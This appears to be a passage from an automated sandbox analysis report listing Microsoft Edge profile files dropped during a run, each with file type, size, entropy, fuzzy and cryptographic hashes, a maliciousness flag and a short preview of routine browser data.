Preview:	2024/11/12-11:07:41.115 1cc4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/12-11:07:41.138 1cc4 Recovering log #3.2024/11/12-11:07:41.157 1cc4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.084226976801503
Encrypted:	false
SSDEEP:	6:HU8dNjlyq2PN723oH+Tcwt8NIFUt8YU8dlI/1Zmw+YU8d/jlRkwON723oH+Tcwt2:dNjlyvVaYebpFUt8eW/+e/jlR5OaYeb2
MD5:	4E188067E053376F9DE558E3390C59A7
SHA1:	09B8C3CE68EE7B598B4CE8F96A8B28E597F174AC
SHA-256:	99586D60E21142861CDF3801A8FA0D3A68572B7AE535632245F346AA2E685535
SHA-512:	3F7D870A6E8137EAA0A750807CD7F67ECAA6A968DFDEA41AF826F3989EBC8E99BFA33A5E4DAFAC5AD4ED3AD29E043C038132798A4B1C5712D04725FC5C88CF75
Malicious:	false
Preview:	2024/11/12-11:07:41.115 1cc4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/12-11:07:41.138 1cc4 Recovering log #3.2024/11/12-11:07:41.157 1cc4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:bblntFlljq7A/mhWJFuQ3yy7IOWUfbCl/dweytllrE9SFcTp4AGbNCV9RUIc:+75fOZCl/d0Xi99pEYG
MD5:	F316E73C682DE88752A8FD2316B8ECC7
SHA1:	667ED1B83EBBF17FFB4177FC16E97DE1870F14E0
SHA-256:	3E3B3B8A56CAC9051F9A37A0A9398751FC55A6CB6C24AC97A36239418B14F415
SHA-512:	A6FA136EFC11CBCF2FD06A5A9FD4035B3D1BA035E844A46878CBFAE50094272E2CDA376868769B8FEE18656DAA1F9ED67AA0A6490A93D4A6E1703D3FDF8AAAE7
Malicious:	false
Preview:	..............Q....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	3.9181276491987442
Encrypted:	false
SSDEEP:	384:jj9P0tcSQkQerDjl8773pLvgam6IkP/KbtXh3RKToaAu:jdfSe2nl87UUP/IhRKcC
MD5:	3805266BB9E5D39E0CB5C9E97CC53210
SHA1:	4E2BCBFD4F81C5E78FE22E4C9D21DC001D503077
SHA-256:	4BD41668D6FE242ACDAC1FBD1BE9300F49AA74602DC3EDEAD9A0AC796E2B018F
SHA-512:	005F9D60109C15F866B977A3940944B8D18256399A563FC033626614DE5AB95A427E202F86A03FEE6179E2AEAE7F13BFF2422C839692D4FF5427ABC3EC27CE7D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.187183589510016
Encrypted:	false
SSDEEP:	12:N+vVaYeb8rcHEZrELFUt86/+3NV5OaYeb8rcHEZrEZSJ:6VaYeb8nZrExg8DlOaYeb8nZrEZe
MD5:	1BCE3D42090BDCB3460239BA4E136756
SHA1:	1C59EB94C4E1008B0FD23B5F173F949565904487
SHA-256:	755A985FAD7922102E6AFB853E1A6752837BE7128D1E86BAC5A54D69BE4B4ED7
SHA-512:	325E81FCB1013546C52EAEFA9953763266AEDC0375D62A0DE97E65EDCEC685BA199205DC59E193AACF0BCE35D31A44B6D2CC4EB12415FA91859EC93603D11BA6
Malicious:	false
Preview:	2024/11/12-11:07:44.214 144c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/12-11:07:44.214 144c Recovering log #3.2024/11/12-11:07:44.215 144c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.187183589510016
Encrypted:	false
SSDEEP:	12:N+vVaYeb8rcHEZrELFUt86/+3NV5OaYeb8rcHEZrEZSJ:6VaYeb8nZrExg8DlOaYeb8nZrEZe
MD5:	1BCE3D42090BDCB3460239BA4E136756
SHA1:	1C59EB94C4E1008B0FD23B5F173F949565904487
SHA-256:	755A985FAD7922102E6AFB853E1A6752837BE7128D1E86BAC5A54D69BE4B4ED7
SHA-512:	325E81FCB1013546C52EAEFA9953763266AEDC0375D62A0DE97E65EDCEC685BA199205DC59E193AACF0BCE35D31A44B6D2CC4EB12415FA91859EC93603D11BA6
Malicious:	false
Preview:	2024/11/12-11:07:44.214 144c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/12-11:07:44.214 144c Recovering log #3.2024/11/12-11:07:44.215 144c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	"compact bitmap" format (Poskanzer)
Category:	dropped
Size (bytes):	1655
Entropy (8bit):	5.675642963874833
Encrypted:	false
SSDEEP:	48:RtZFdyurXZZV03Sx41HHHxda2LoEjyKRTV:Rtn0uTLWRxLb
MD5:	2FBA7B1D56964280DFAF74A2C12EF183
SHA1:	406E297D475498EDA9D73A442E113290E3A27525
SHA-256:	5305A9FC75534D92741010A5C4AAF9D7A97AD0C00220A8B5D83EA9C00EC0CC28
SHA-512:	43939EA1C6CE66D8E925ED1F300B5976C6F6C388D1351A3F3B463795FEA26C332C1583751D7EC95DED961BF0AC05E5B322EB77803792AB3201721DE85CEF05DD
Malicious:	false
Preview:	...x................VERSION.1..META:https://ntp.msn.com.............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":713}.!_https://ntp.msn.com..LastKnownPV..1731427672306.-_https://ntp.msn.com..LastVisuallyReadyMarker..1731427673883.._https://ntp.msn.com..MUID!.3396E73AB3A068C604AEF20FB2F769BB.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731427672386,"schedule":[-1,10,-1,18,4,-1,-1],"scheduleFixed":[-1,10,-1,18,4,-1,-1],"simpleSchedule":[50,9,11,41,21,12,13]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731427672262.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241112.37"}._https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https:/

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.121925254263616
Encrypted:	false
SSDEEP:	6:HU8pi+q2PN723oH+Tcwt8a2jMGIFUt8YU8rZmw+YU8sw3VkwON723oH+Tcwt8a23:pi+vVaYeb8EFUt8A/+Hw3V5OaYeb8bJ
MD5:	4B58E8EA4D996AFC451B492A87DAF8DF
SHA1:	9EA75CEEF98A0B8AA2C50DC6174FDBFC57ADCB6B
SHA-256:	F872BDA41EA307E26B533FD1B098C63962E7858B3876B9A3BAC06428E32B00AC
SHA-512:	908CA10A87D976E3A075171AE879BAC38C78E6DFCA06D36625862872134CA5972C127B3803C603010A6733AD5D4556C14D39D732896C4761BE73F1CD8BC1CC4C
Malicious:	false
Preview:	2024/11/12-11:07:40.648 14dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/12-11:07:40.649 14dc Recovering log #3.2024/11/12-11:07:40.713 14dc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.121925254263616
Encrypted:	false
SSDEEP:	6:HU8pi+q2PN723oH+Tcwt8a2jMGIFUt8YU8rZmw+YU8sw3VkwON723oH+Tcwt8a23:pi+vVaYeb8EFUt8A/+Hw3V5OaYeb8bJ
MD5:	4B58E8EA4D996AFC451B492A87DAF8DF
SHA1:	9EA75CEEF98A0B8AA2C50DC6174FDBFC57ADCB6B
SHA-256:	F872BDA41EA307E26B533FD1B098C63962E7858B3876B9A3BAC06428E32B00AC
SHA-512:	908CA10A87D976E3A075171AE879BAC38C78E6DFCA06D36625862872134CA5972C127B3803C603010A6733AD5D4556C14D39D732896C4761BE73F1CD8BC1CC4C
Malicious:	false
Preview:	2024/11/12-11:07:40.648 14dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/12-11:07:40.649 14dc Recovering log #3.2024/11/12-11:07:40.713 14dc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1340dcc6-a033-4d5e-9fcf-c9929acadfb6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\47a09b8c-db30-469c-956e-db9b7ae26539.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4ffff4ed-d8a0-4743-81a2-7be6b117738b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\5f6fc0dd-6049-4006-8cf1-780c35b4dd41.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.820618432000347
Encrypted:	false
SSDEEP:	192:tTrHmfmeT1Al5yw8P3sSsm6VbwaeO0c4p0L/ZJVb:VbIT1AlIw8P3dR6VnJ0lp0LhJVb
MD5:	0446A809AE42AD6D902F341906ABD862
SHA1:	9C664F1BB2BA3E65CD95A5812FAE048DA72B3D14
SHA-256:	7907BC89796E837E5BD4329E8C2AFEDA7471A71B74F7547A789C165B458AB2A1
SHA-512:	68D8AEEB77478D4338F06EDC04B94BF464BE84CDBD506715E055B7AB35E335A9A7FB50C9EC7FD2C9F449724FD88ED888A4679976C6F15274DB81F91D1364559D
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4d1a4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 9, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.4833159409202414
Encrypted:	false
SSDEEP:	96:ifIEumQv8m1ccnvS6mvm+noG9WhXcIWZ4cOw1a:ifIEumQv8m1ccnvS62o4WRcLOr
MD5:	4CC867D9D3AF101A6E5282BCCD31FFCF
SHA1:	B5091F76129864AA021FF2DEC185E6E1EB2E3606
SHA-256:	2248981C1FCE76EE0EEB4FA86ACA012ABCD4887BC22B25BB4007C6826F58F465
SHA-512:	C9383C26FAF17E4E7F531F1F297F4F84821745AB564908E019170D19B9561F4BFB01CF38AD8F946DCBEE724FEC03BCDB3C802FA88EB4E8E1D08F80E84058D513
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3c66e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3d3fb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF544d0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a274c827-5989-43fa-a7e0-b5e1eeb35f6d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1747
Entropy (8bit):	5.308965711085952
Encrypted:	false
SSDEEP:	48:YcCpfgCzsFtsqfc7RstleeIkEsohCgHLYhbj:F2fCJ2ykeIk6TMh/
MD5:	AF529B52E16BD7A5856BF95262D66BB5
SHA1:	8FC17323AC21F2CF9EA806D701AD7441BABE6317
SHA-256:	B3B56984147D3BA5F5440287FF5660825C616A61D86314E201818740F268B13A
SHA-512:	4BE67C5DC4B733BD8610079137681701ACF33B2E8984608272AEDEE12A84A25FC1D7C3FA567370909A696ECA17B93B8CE3F1F229C93AFF4ACCF1D2DF2BA81BDD
Malicious:	false
